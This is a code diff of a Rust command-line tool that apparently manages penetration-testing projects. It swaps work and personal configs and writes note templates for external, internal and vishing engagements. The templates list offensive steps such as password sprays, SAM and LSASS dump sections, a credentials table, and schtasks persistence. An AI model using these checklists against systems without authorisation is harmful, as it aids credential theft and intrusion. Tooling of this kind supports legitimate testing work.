|
for line in project_lines{
|
||||||
|
if line.contains("default"){
|
||||||
|
default = line.trim_end().to_owned();
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let words: Vec<&str> = line.split(":").collect();
|
||||||
|
if words.len() > 3{
|
||||||
|
println!("{} {}", words[0], words[1]);
|
||||||
|
if get_user_input("should this project be added to your personal projects config files?").to_lowercase().contains("y"){
|
||||||
|
personal_projects.push(line.to_owned());
|
||||||
|
print_success(format!("{}:{} {}",words[0], words[1], "successfully added to personal config!"));
|
||||||
|
if get_user_input("Do you also want to keep it in your work projects config?").to_lowercase().contains("y"){
|
||||||
|
work_projects.push(line.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
work_projects.push(line.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let work_config_open_res = fs::OpenOptions::new().create(true).write(true).open(working_conf_path);
|
||||||
|
if work_config_open_res.is_err(){
|
||||||
|
print_error("error opening work projects config file!", work_config_open_res.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let person_config_open_res = fs::OpenOptions::new().create(true).write(true).open(personal_conf_path);
|
||||||
|
if person_config_open_res.is_err(){
|
||||||
|
print_error("error opening personal projects config file!", person_config_open_res.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut work_config_file = work_config_open_res.unwrap();
|
||||||
|
let mut personal_config_file = person_config_open_res.unwrap();
|
||||||
|
let work_write_success = write!(work_config_file, "Work Config File\n");
|
||||||
|
let personal_write_success = write!(personal_config_file, "Personal Config File\n");
|
||||||
|
if work_write_success.is_err(){
|
||||||
|
print_error("error writing to work config file!", work_write_success.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
work_write_success.unwrap();
|
||||||
|
}
|
||||||
|
if personal_write_success.is_err(){
|
||||||
|
print_error("error writing personal config file!", personal_write_success.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
personal_write_success.unwrap();
|
||||||
|
}
|
||||||
|
write!(personal_config_file, "{}\n", default).unwrap();
|
||||||
|
write!(work_config_file, "{}\n", default).unwrap();
|
||||||
|
for project in work_projects{
|
||||||
|
write!(work_config_file, "{}\n", project).unwrap();
|
||||||
|
}
|
||||||
|
for project in personal_projects{
|
||||||
|
write!(personal_config_file, "{}\n", project).unwrap();
|
||||||
|
}
|
||||||
|
print_success("projects separated successfully!");
|
||||||
|
print_informational("now we'll separate the configuration files.");
|
||||||
|
let current_config_type = get_user_input("is the current settings loaded for work? (not personal)");
|
||||||
|
if current_config_type.to_lowercase().contains("y"){
|
||||||
|
let copy_res = fs::copy(&config, &config_work);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error copying config file to config.work!", copy_res.unwrap().to_string());
|
||||||
|
let copy_cmd = format!("cp {} {}", &config.display(), &config_work.display());
|
||||||
|
print_informational(copy_cmd);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("conf.work successfully created!");
|
||||||
|
}
|
||||||
|
print_informational("Next we will create a new config file for work.\nIt will be save as conf.personal");
|
||||||
|
print_informational("\nplease select create from scratch at the next prompt, and fill out the information for your personal settings");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let copy_res = fs::copy(&config, &config_personal);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error copying config file to config.personal!", copy_res.unwrap().to_string());
|
||||||
|
let copy_cmd = format!("cp {} {}", &config.display(), &config_personal.display());
|
||||||
|
print_informational(copy_cmd);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("conf.personal successfully created!");
|
||||||
|
}
|
||||||
|
print_informational("Next we will create a new config file for work.\nIt will be save as conf.working");
|
||||||
|
print_informational("\nplease select create from scratch at the next prompt, and fill out the information for your work settings");
|
||||||
|
}
|
||||||
|
configuration::generate_tool_config(&config);
|
||||||
|
print_informational("great! now we're going to copy that to the specified new config file!");
|
||||||
|
if current_config_type.to_lowercase().contains("y"){
|
||||||
|
let copy_res = fs::copy(&config, &config_personal);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error copying to conf.personal!", copy_res.err().unwrap().to_string());
|
||||||
|
let copy_cmd = format!("plase run the following command in your
|
||||||
|
\ncp {} {}", &config.display(), &config_personal.display());
|
||||||
|
print_informational(copy_cmd);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("conf.personal successfully created!");
|
||||||
|
let remove_res = fs::remove_file(&config);
|
||||||
|
if remove_res.is_err(){
|
||||||
|
print_error("error restroing original config file!", remove_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
remove_res.unwrap();
|
||||||
|
let copy_res = fs::copy(&config_work, &config);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error restoring original config file!", copy_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("original configuration successfully restored!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let copy_res = fs::copy(&config, &config_work);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error copying to conf.work!", copy_res.err().unwrap().to_string());
|
||||||
|
let copy_cmd = format!("plase run the following command in your terminal\ncp {} {}", &config.display(), &config_work.display());
|
||||||
|
print_informational(copy_cmd);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("conf.personal successfully created!");
|
||||||
|
let remove_res = fs::remove_file(&config);
|
||||||
|
if remove_res.is_err(){
|
||||||
|
print_error("error restoring original config!", remove_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
remove_res.unwrap();
|
||||||
|
let copy_res = fs::copy(&config_personal, &config);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error resoring original config!", copy_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("original configuration successfully restored!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn swith_to_personal(config: &PathBuf) -> Option<Vec<Project>>{
|
||||||
|
let mut personal_config_path = config.clone();
|
||||||
|
personal_config_path.pop();
|
||||||
|
personal_config_path.push("conf.personal");
|
||||||
|
let mut projects_path = config.clone();
|
||||||
|
projects_path.pop();
|
||||||
|
let mut personal_projects = config.clone();
|
||||||
|
personal_projects.pop();
|
||||||
|
projects_path.push("projects.conf");
|
||||||
|
personal_projects.push("projects.personal");
|
||||||
|
let personal_projects_read_res = read_to_string(&personal_projects);
|
||||||
|
if personal_projects_read_res.is_err(){
|
||||||
|
print_error("error reading personal projects!", personal_projects_read_res.err().unwrap().to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let person_projects_string = personal_projects_read_res.unwrap();
|
||||||
|
let open_res = open_overwrite(&projects_path);
|
||||||
|
if open_res.is_none(){
|
||||||
|
print_error("error opening projects.conf file!", "".to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut project_conf = open_res.unwrap();
|
||||||
|
write!(project_conf, "{}", person_projects_string).unwrap();
|
||||||
|
print_success("projects changed successfully!");
|
||||||
|
let new_projects = get_projects(config, true);
|
||||||
|
let remove_res = fs::remove_file(config);
|
||||||
|
if remove_res.is_ok(){
|
||||||
|
remove_res.unwrap();
|
||||||
|
let copy_res = fs::copy(personal_config_path, config);
|
||||||
|
if copy_res.is_ok(){
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("settings successfully changed!");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_error("error changing settings!", copy_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_error("error removing current settings!", remove_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
return new_projects;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn swith_to_work(config: &PathBuf) -> Option<Vec<Project>>{
|
||||||
|
let mut work_config_path = config.clone();
|
||||||
|
work_config_path.pop();
|
||||||
|
work_config_path.push("conf.working");
|
||||||
|
let mut projects_path = config.clone();
|
||||||
|
projects_path.pop();
|
||||||
|
let mut work_projects = config.clone();
|
||||||
|
work_projects.pop();
|
||||||
|
projects_path.push("projects.conf");
|
||||||
|
work_projects.push("projects.work");
|
||||||
|
let work_projects_read_res = read_to_string(work_projects);
|
||||||
|
if work_projects_read_res.is_err(){
|
||||||
|
print_error("error reading personal projects!", work_projects_read_res.err().unwrap().to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let work_projects_string = work_projects_read_res.unwrap();
|
||||||
|
let open_res = open_overwrite(&projects_path);
|
||||||
|
if open_res.is_none(){
|
||||||
|
print_error("", "error opening projects.conf file!".to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut project_conf = open_res.unwrap();
|
||||||
|
write!(project_conf, "{}", work_projects_string).unwrap();
|
||||||
|
print_success("projects changed successfully!");
|
||||||
|
let new_projects = get_projects(config, true);
|
||||||
|
let remove_res = fs::remove_file(config);
|
||||||
|
if remove_res.is_ok(){
|
||||||
|
remove_res.unwrap();
|
||||||
|
let copy_res = fs::copy(work_config_path, config);
|
||||||
|
if copy_res.is_ok(){
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("settings successfully changed!");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_error("error changing settings!", copy_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_error("error removing current settings!", remove_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
return new_projects;
|
||||||
}
|
}
|
||||||
@@ -1,25 +1,62 @@
|
|||||||
use std::fs;
|
use std::fs;
|
||||||
use std::io::stdin;
|
use std::fs::File;
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
|
use colored::Colorize;
|
||||||
|
|
||||||
fn external(project_folder_path: String,comapny_name: &String, project_name: &String, passtemp: PathBuf){
|
use crate::Project;
|
||||||
let mut general_notes = fs::File::create(format!("{}/general.md", &project_folder_path)).expect("error creating general notes file");
|
use crate::project_controls;
|
||||||
let mut attack_notes = fs::File::create(format!("{}/attacks.md", &project_folder_path)).expect("error creating attack notes file");
|
use crate::get_user_input;
|
||||||
let mut host_notes = fs::File::create(format!("{}/host_notes.md", &project_folder_path)).expect("error creating host notes file");
|
|
||||||
let mut finding_notes = fs::File::create(format!("{}/findings.md", &project_folder_path)).expect("error creating findings notes file");
|
|
||||||
// for tagging
|
fn create_project_folder(path: &mut PathBuf, folder: &str){
|
||||||
let year = project_name.split("_").collect::<Vec<&str>>()[1];
|
path.push(folder);
|
||||||
let project_type = "External";
|
let result = fs::create_dir_all(&path);
|
||||||
writeln!(&mut general_notes, "#{} #{} #{} #general", comapny_name, project_type, year).expect("error writing to general notes file");
|
if result.is_err(){
|
||||||
writeln!(&mut attack_notes, "#{} #{} #{} #attack", comapny_name, project_type, year).expect("error writing tags on attack notes");
|
println!("error creating {} directory!", folder);
|
||||||
writeln!(&mut host_notes, "##{} #{} #{} #host_notes", comapny_name, project_type, year).expect("error writing tag lin in host notes");
|
}
|
||||||
writeln!(&mut finding_notes, "#{} #{} #{} #findings", comapny_name, project_type, year).expect("error writing tag line on findings");
|
else{
|
||||||
writeln!(&mut general_notes, "# Scope").expect("error writing to general notes file");
|
result.unwrap();
|
||||||
writeln!(&mut general_notes, "\n| IP | Third Party | Approval |").expect("error writing to general notes file");
|
}
|
||||||
writeln!(&mut general_notes, "| -- | ----------- | -------- |").expect("error writing to general notes file");
|
path.pop();
|
||||||
writeln!(&mut general_notes, "# PPC").expect("failed to write general notes");
|
}
|
||||||
write!(&mut general_notes, "
|
|
||||||
|
fn create_note_file(path: &PathBuf) -> Option<File>{
|
||||||
|
let result = fs::File::create(path);
|
||||||
|
if result.is_err(){
|
||||||
|
println!("error creating {} try manually!", path.display());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let file = result.unwrap();
|
||||||
|
return Some(file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn external(passtemp: &PathBuf, project: &Project){
|
||||||
|
// using a pathbuf to create files.
|
||||||
|
let mut notes_path = project.notes_folder.clone();
|
||||||
|
let file_creation_res = fs::create_dir_all(¬es_path);
|
||||||
|
if file_creation_res.is_err(){
|
||||||
|
let error = file_creation_res.err().unwrap();
|
||||||
|
println!("{}","error creating notes folder!".red());
|
||||||
|
println!("{}", error.to_string().red())
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
file_creation_res.unwrap();
|
||||||
|
}
|
||||||
|
notes_path.push("general.md");
|
||||||
|
let general_notes_result = create_note_file(¬es_path);
|
||||||
|
if general_notes_result.is_some(){
|
||||||
|
let mut general_notes = general_notes_result.unwrap();
|
||||||
|
// for tagging
|
||||||
|
let project_type = "External";
|
||||||
|
writeln!(&mut general_notes, "#{} #{} #general", project.customer, project_type).expect("error writing to general notes file");
|
||||||
|
writeln!(&mut general_notes, "# Scope").expect("error writing to general notes file");
|
||||||
|
writeln!(&mut general_notes, "\n| IP | Third Party | Approval |").expect("error writing to general notes file");
|
||||||
|
writeln!(&mut general_notes, "| -- | ----------- | -------- |").expect("error writing to general notes file");
|
||||||
|
writeln!(&mut general_notes, "# PPC").expect("failed to write general notes");
|
||||||
|
write!(&mut general_notes, "
|
||||||
Planning call notes:
|
Planning call notes:
|
||||||
* methodolgy
|
* methodolgy
|
||||||
* whole month testing window
|
* whole month testing window
|
||||||
@@ -41,21 +78,16 @@ Planning call notes:
|
|||||||
* password attacks
|
* password attacks
|
||||||
* password sprays 3-12 hours
|
* password sprays 3-12 hours
|
||||||
* lock out policy -
|
* lock out policy -
|
||||||
|
|\n").expect("faile to write pentest notes");
|
||||||
|
|
||||||
## Enumeration in progress
|
}
|
||||||
|
notes_path.pop();
|
||||||
### DNS Bruteforcing
|
notes_path.push("attacks.md");
|
||||||
|
let attack_notes_result = create_note_file(¬es_path);
|
||||||
| domain name | IP | inscope? |
|
if attack_notes_result.is_some(){
|
||||||
| ----------- | -- | -------- |
|
let mut attack_notes = attack_notes_result.unwrap();
|
||||||
|
writeln!(&mut attack_notes, "#{} #{} #attack", project.customer, "external").expect("error writing tags on attack notes");
|
||||||
# Attack Surface Enumeration
|
write!(&mut attack_notes,"
|
||||||
|
|
||||||
| IP | host notes | needs? |
|
|
||||||
| -- | ---------- | ------ |\n").expect("faile to write pentest notes");
|
|
||||||
|
|
||||||
// set up the basics for our attack notes
|
|
||||||
write!(&mut attack_notes,"
|
|
||||||
# Directory Bruteforcing
|
# Directory Bruteforcing
|
||||||
- [ ] example.com
|
- [ ] example.com
|
||||||
|
|
||||||
@@ -74,59 +106,81 @@ write!(&mut attack_notes,"
|
|||||||
passwords tried:
|
passwords tried:
|
||||||
* password\n
|
* password\n
|
||||||
" ).expect("failed to write attack notes template");
|
" ).expect("failed to write attack notes template");
|
||||||
let new_spray_path = format!("{}/passwordspray.md", &project_folder_path);
|
}
|
||||||
fs::copy(passtemp,new_spray_path).unwrap();
|
notes_path.pop();
|
||||||
|
notes_path.push("password_spray.md");
|
||||||
|
let pass_result = fs::copy(&passtemp, ¬es_path);
|
||||||
|
if pass_result.is_err(){
|
||||||
|
println!("error copying password spray file! try manually");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
pass_result.unwrap();
|
||||||
|
}
|
||||||
|
notes_path.pop();
|
||||||
|
notes_path.push("host_notes.md");
|
||||||
|
let host_notes_result = create_note_file(¬es_path);
|
||||||
|
if host_notes_result.is_some(){
|
||||||
|
let mut host_notes = host_notes_result.unwrap();
|
||||||
|
writeln!(&mut host_notes, "##{} #{} #host_notes", project.customer, "external").expect("error writing tag lin in host notes");
|
||||||
|
}
|
||||||
|
notes_path.pop();
|
||||||
|
notes_path.push("findings.md");
|
||||||
|
let findings_notes_result = create_note_file(¬es_path);
|
||||||
|
if findings_notes_result.is_some(){
|
||||||
|
let mut finding_notes = findings_notes_result.unwrap();
|
||||||
|
writeln!(&mut finding_notes, "#{} #{} #findings", project.customer, "external").expect("error writing tag line on findings");
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
fn internal(project_folder_path: String, comapny_name: &String, project_name: &String, passtemp: PathBuf){
|
fn internal(passtemp: &PathBuf, project: &Project){
|
||||||
let loot_folder = format!("{}/l00t", project_folder_path);
|
let mut notes_path = project.notes_folder.clone();
|
||||||
fs::create_dir_all(&loot_folder).expect("error creating loot directory");
|
let file_creation_res = fs::create_dir_all(¬es_path);
|
||||||
let mut general_notes = fs::File::create(format!("{}/general.md", &project_folder_path)).expect("error creating general notes file");
|
if file_creation_res.is_err(){
|
||||||
let mut attack_notes = fs::File::create(format!("{}/attacks.md", &project_folder_path)).expect("error creating attack notes file");
|
let error = file_creation_res.err().unwrap();
|
||||||
let mut finding_notes = fs::File::create(format!("{}/findings.md", &project_folder_path)).expect("error creating findings notes file");
|
println!("{}","error creating notes folder!".red());
|
||||||
let mut systeminfo = fs::File::create(format!("{}/systeminfo", &project_folder_path)).expect("error creating systeminfo note file");
|
println!("{}", error.to_string().red())
|
||||||
let mut netsta = fs::File::create(format!("{}/netstat", &project_folder_path)).expect("error creating netstat file");
|
}
|
||||||
let mut creds_notes = fs::File::create(format!("{}/creds.md", &loot_folder)).expect("error creating creds note");
|
else{
|
||||||
let mut todo_notes = fs::File::create(format!("{}/todo.md", &project_folder_path)).expect("error creating todo notes");
|
file_creation_res.unwrap();
|
||||||
let mut cleanup_notes = fs::File::create(format!("{}/cleanup.md", &project_folder_path)).expect("error creating cleanup notes");
|
}
|
||||||
let mut dump_notes = fs::File::create(format!("{}/dumps.md", &loot_folder)).expect("error creating password spray notes");
|
notes_path.push("password_spray.md");
|
||||||
let mut enum_notes = fs::File::create(format!("{}/initial_enum.md", &project_folder_path)).expect("error creating password spray notes");
|
println!("copying from {} to {}", passtemp.display(), ¬es_path.display());
|
||||||
let enum_obsidian_path = format!("Hack_Notes/pentest_notes/upcomming/{customer}//initial_enum.md", customer = comapny_name);
|
let pass_result = fs::copy(&passtemp, ¬es_path);
|
||||||
// for tagging notes
|
if pass_result.is_err(){
|
||||||
let oyear = project_name.split("_").collect::<Vec<&str>>()[0];
|
let error = pass_result.err().unwrap();
|
||||||
let year = format!("year-{}", oyear);
|
println!("{}","error copying password spray file, try again manually!".red());
|
||||||
let project_type = "Internal";
|
println!("{}", error.to_string().red())
|
||||||
writeln!(&mut creds_notes, "#{} #{} #{} #l00t #creds", comapny_name, project_type, year).expect("error writing creds notes");
|
}
|
||||||
writeln!(&mut dump_notes, "#{} #{} #{} #l00t #dumps", comapny_name, project_type, year).expect("error writing creds notes");
|
else{
|
||||||
writeln!(&mut cleanup_notes, "#{} #{} #{} #cleanup", comapny_name, project_type, year).expect("error writing to cleanup notes");
|
pass_result.unwrap();
|
||||||
writeln!(&mut general_notes, "#{} #{} #{} #general", comapny_name, project_type, year).expect("error writing to general notes file");
|
}
|
||||||
writeln!(&mut attack_notes, "#{} #{} #{} #attack", comapny_name, project_type, year).expect("error writing attack note tags");
|
notes_path.pop();
|
||||||
writeln!(&mut todo_notes, "#{} #{} #{} #todo", comapny_name, project_type, year).expect("error writing tag line on todo");
|
notes_path.push("l00t");
|
||||||
writeln!(&mut finding_notes, "#{} #{} #{} #findings", comapny_name, project_type, year).expect("error writing tags line on findings");
|
fs::create_dir_all(¬es_path).expect("error creating loot directory");
|
||||||
writeln!(&mut systeminfo, "#{} #{} #{} #general", comapny_name, project_type, year).expect("error writing tag line for system info");
|
notes_path.push("creds.md");
|
||||||
writeln!(&mut systeminfo, "#{} #{} #{} #Password_sprays", comapny_name, project_type, year).expect("error writing tag line for password spraying");
|
let creds_notes_result = create_note_file(¬es_path);
|
||||||
writeln!(&mut netsta, "#{} #{} #{} #general", comapny_name, project_type, year).expect("error writing tagline in the netstat file");
|
if creds_notes_result.is_some(){
|
||||||
writeln!(&mut enum_notes, "#{} #{} #{} #enum", comapny_name, project_type, year).expect("error writing tagline in the netstat file");
|
let mut creds_notes = creds_notes_result.unwrap();
|
||||||
writeln!(&mut creds_notes, "# CREDS").expect("error writing creds notes");
|
writeln!(&mut creds_notes, "#{} #{} #l00t #creds", project.customer, "internal").expect("error writing creds notes");
|
||||||
writeln!(&mut creds_notes, "\n| System | username | password |").expect("error writing creds notes");
|
writeln!(&mut creds_notes, "# CREDS").expect("error writing creds notes");
|
||||||
writeln!(&mut creds_notes, "| ------ | -------- | -------- |").expect("error writing creds notes");
|
writeln!(&mut creds_notes, "\n| System | username | password |").expect("error writing creds notes");
|
||||||
writeln!(&mut creds_notes, "\n\n").expect("error writing creds notes");
|
writeln!(&mut creds_notes, "| ------ | -------- | -------- |").expect("error writing creds notes");
|
||||||
writeln!(&mut creds_notes, "# HASHES\n\n").expect("error writing creds notes");
|
writeln!(&mut creds_notes, "\n\n").expect("error writing creds notes");
|
||||||
writeln!(&mut creds_notes, "| TYPE | USER | HASH |").expect("error writing creds notes");
|
writeln!(&mut creds_notes, "# HASHES\n\n").expect("error writing creds notes");
|
||||||
writeln!(&mut creds_notes, "| ---- | ---- | ---- |").expect("error writing creds notes");
|
writeln!(&mut creds_notes, "| TYPE | USER | HASH |").expect("error writing creds notes");
|
||||||
writeln!(&mut cleanup_notes, "- [ ] Breach machine C-temp-fr").expect("error writing to cleanup notes");
|
writeln!(&mut creds_notes, "| ---- | ---- | ---- |").expect("error writing creds notes");
|
||||||
writeln!(&mut cleanup_notes, "- [ ] (continue to add as needed").expect("error writing ot cleanup notes");
|
}
|
||||||
writeln!(&mut general_notes, "# Scope\n").expect("error writing to general notes file");
|
notes_path.pop();
|
||||||
writeln!(&mut general_notes, "PASTE SCOPE FROM EXCELL HERE (THE EXCEL TO MARKDOWN TABLE PLUGIN WILL FORMAT FOR YOU").expect("shouldn't ever fail");
|
notes_path.pop();
|
||||||
writeln!(&mut dump_notes, "# SAM\n\n").expect("shouldn't ever fail");
|
notes_path.push("general.md");
|
||||||
writeln!(&mut dump_notes, "## system name\n").expect("shouldn't ever fail");
|
let general_result = create_note_file(¬es_path);
|
||||||
writeln!(&mut dump_notes, "```").expect("shouldn't ever fail");
|
if general_result.is_some(){
|
||||||
writeln!(&mut dump_notes, "```\n\n").expect("shouldn't ever fail");
|
let mut general_notes = general_result.unwrap();
|
||||||
writeln!(&mut dump_notes, "# LSASS\n\n").expect("shouldn't ever fail");
|
writeln!(&mut general_notes, "#{} #{} #general", project.customer, "internal").expect("error writing to general notes file");
|
||||||
writeln!(&mut dump_notes, "## system name\n").expect("shouldn't ever fail");
|
writeln!(&mut general_notes, "# Scope\n").expect("error writing to general notes file");
|
||||||
writeln!(&mut dump_notes, "```").expect("shouldn't ever fail");
|
writeln!(&mut general_notes, "PASTE SCOPE FROM EXCELL HERE (THE EXCEL TO MARKDOWN TABLE PLUGIN WILL FORMAT FOR YOU").expect("shouldn't ever fail");
|
||||||
writeln!(&mut dump_notes, "```").expect("shouldn't ever fail");
|
write!(&mut general_notes, "
|
||||||
write!(&mut general_notes, "
|
|
||||||
On the call:
|
On the call:
|
||||||
|
|
||||||
Introductions
|
Introductions
|
||||||
@@ -151,7 +205,15 @@ Do they have a specific contact
|
|||||||
|
|
||||||
Email any follow-up items from the call to the PM
|
Email any follow-up items from the call to the PM
|
||||||
").expect("error writing PPC text");
|
").expect("error writing PPC text");
|
||||||
write!(&mut attack_notes,"
|
}
|
||||||
|
notes_path.pop();
|
||||||
|
let enum_path = format!("{}/initial_enum.md", notes_path.display());
|
||||||
|
notes_path.push("attacks.md");
|
||||||
|
let attack_result = create_note_file(¬es_path);
|
||||||
|
if attack_result.is_some(){
|
||||||
|
let mut attack_notes = attack_result.unwrap();
|
||||||
|
writeln!(&mut attack_notes, "#{} #{} #attack", project.customer, "internal").expect("error writing attack note tags");
|
||||||
|
write!(&mut attack_notes,"
|
||||||
# current dat (ex: 7/5)
|
# current dat (ex: 7/5)
|
||||||
Got Persistence via (schtasks, bat schtasks, startup folder)
|
Got Persistence via (schtasks, bat schtasks, startup folder)
|
||||||
|
|
||||||
@@ -206,15 +268,29 @@ powerup.ps1/sharpup.exe notes.
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
", enum = enum_obsidian_path).expect("error writing to attack notes for internal tests");
|
", enum = enum_path).expect("error writing to attack notes for internal tests");
|
||||||
write!(&mut finding_notes, "
|
}
|
||||||
# normal findings
|
notes_path.pop();
|
||||||
|
notes_path.push("findings.md");
|
||||||
|
let findings_result = create_note_file(¬es_path);
|
||||||
|
if findings_result.is_some(){
|
||||||
|
let mut finding_notes = findings_result.unwrap();
|
||||||
|
writeln!(&mut finding_notes, "#{} #{} #findings", project.customer, "internal").expect("error writing tags line on findings");
|
||||||
|
write!(&mut finding_notes, "
|
||||||
|
# normal findings
|
||||||
|
|
||||||
# data exfil
|
# data exfil
|
||||||
## [Sarting Username]
|
## [Sarting Username]
|
||||||
|
|
||||||
").expect("error writing to findings notes on internal");
|
").expect("error writing to findings notes on internal");
|
||||||
write!(&mut todo_notes, "
|
}
|
||||||
|
notes_path.pop();
|
||||||
|
notes_path.push("todo.md");
|
||||||
|
let todo_result = create_note_file(¬es_path);
|
||||||
|
if todo_result.is_some(){
|
||||||
|
let mut todo_notes = todo_result.unwrap();
|
||||||
|
writeln!(&mut todo_notes, "#{} #{} #todo", project.customer, "internal").expect("error writing tag line on todo");
|
||||||
|
write!(&mut todo_notes, "
|
||||||
|
|
||||||
- [ ] local checks
|
- [ ] local checks
|
||||||
- [ ] find shares
|
- [ ] find shares
|
||||||
@@ -227,93 +303,135 @@ powerup.ps1/sharpup.exe notes.
|
|||||||
- [ ] passwords in AD Descriptions?
|
- [ ] passwords in AD Descriptions?
|
||||||
- [ ] password spray
|
- [ ] password spray
|
||||||
").expect("error writing todo list");
|
").expect("error writing todo list");
|
||||||
write!(&mut netsta,"
|
}
|
||||||
```
|
notes_path.pop();
|
||||||
|
notes_path.push("cleanup.md");
|
||||||
```").expect("error writing code block to system info");
|
let cleanup_result = create_note_file(¬es_path);
|
||||||
write!(&mut systeminfo,"
|
if cleanup_result.is_some(){
|
||||||
```
|
let mut cleanup_notes = cleanup_result.unwrap();
|
||||||
|
writeln!(&mut cleanup_notes, "#{} #{} #cleanup", project.customer, "internal").expect("error writing to cleanup notes");
|
||||||
```").expect("error writing code block to system info");
|
writeln!(&mut cleanup_notes, "- [ ] Breach machine C-temp-fr").expect("error writing to cleanup notes");
|
||||||
let new_pass_path = format!("{}/passwordspray.md", &project_folder_path);
|
writeln!(&mut cleanup_notes, "- [ ] (continue to add as needed").expect("error writing ot cleanup notes");
|
||||||
println!("{} | {}", passtemp.display(), new_pass_path);
|
}
|
||||||
fs::copy(passtemp, new_pass_path).unwrap();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
pub fn start_pentest(config_path: &PathBuf) {
|
fn vishing(project: &Project){
|
||||||
let mut pentest_notes = String::new();
|
let mut notes_path = project.notes_folder.clone();
|
||||||
let mut project_files = String::new();
|
let mknote_folder_res = fs::create_dir_all(¬es_path);
|
||||||
let mut company_name = String::new();
|
if mknote_folder_res.is_err(){
|
||||||
let mut project_name = String::new();
|
let error = mknote_folder_res.err().unwrap();
|
||||||
let mut config_file_path_buf = config_path.clone();
|
println!("{}","Error creating notes folder!".red());
|
||||||
let mut passpray_path = config_file_path_buf.clone();
|
println!("{}", error.to_string().red());
|
||||||
passpray_path.push("passwordspray.md");
|
return;
|
||||||
config_file_path_buf.push("new_projects.conf");
|
|
||||||
let config_string = fs::read_to_string(config_file_path_buf).expect("error reading ");
|
|
||||||
if config_string.contains("folder_path") && config_string.contains("notes_path"){
|
|
||||||
let config_string_vec: Vec<&str> = config_string.split("\n").collect();
|
|
||||||
for line in config_string_vec{
|
|
||||||
if line.contains("project_folder_path"){
|
|
||||||
let line_vec: Vec<&str> = line.split(":").collect();
|
|
||||||
project_files = line_vec[1].to_owned();
|
|
||||||
}
|
|
||||||
else if line.contains("project_notes_path"){
|
|
||||||
let line_vec: Vec<&str> = line.split(":").collect();
|
|
||||||
pentest_notes = line_vec[1].to_owned();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
println!("Project files path: {}\nProject Notes path: {}", project_files, pentest_notes);
|
notes_path.push("general.md");
|
||||||
println!("Comapny Name?");
|
let general_notes_res = create_note_file(¬es_path);
|
||||||
match std::io::stdin().read_line(&mut company_name){
|
if general_notes_res.is_some(){
|
||||||
Ok(_result) => (),
|
let mut general_notes = general_notes_res.unwrap();
|
||||||
Err(_e) => {println!("we need input here dummy!"); return;}
|
write!(general_notes, "# Scope\n\n").unwrap();
|
||||||
}
|
write!(general_notes, "
|
||||||
println!("project Name?");
|
Introductions
|
||||||
match stdin().read_line(&mut project_name){
|
|
||||||
Ok(_result) => (),
|
|
||||||
Err(_e) => {println!("we need input here dummy!"); return;}
|
|
||||||
}
|
|
||||||
//remove new lines from input
|
|
||||||
company_name = company_name.trim_end().to_owned();
|
|
||||||
project_name = project_name.trim_end().to_owned();
|
|
||||||
let project_folder_path = format!("{}/{}/{}", pentest_notes, company_name,project_name);
|
|
||||||
println!("setting folder creation paths...");
|
|
||||||
let project_files_folder_path = format!("{}/{}/{}", project_files, company_name, project_name);
|
|
